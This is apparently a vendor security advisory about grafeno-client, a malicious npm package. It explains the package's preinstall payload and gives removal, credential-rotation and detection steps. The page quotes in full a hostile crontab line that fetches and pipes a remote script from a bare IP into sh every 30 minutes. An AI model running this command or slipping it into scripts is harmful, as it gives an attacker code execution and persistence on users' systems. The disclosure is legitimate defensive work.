grafeno-clientnpm
grafeno-client is a confirmed malicious npm package (MAL-2026-15503) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in grafeno-client (npm)
What this malware does
package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-client (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-client across your stack and pipelines.
If you installed it — respond
Remove grafeno-client from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-client was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks grafeno-client before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
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Credits
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Detect & block this
O3 blocks grafeno-client-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.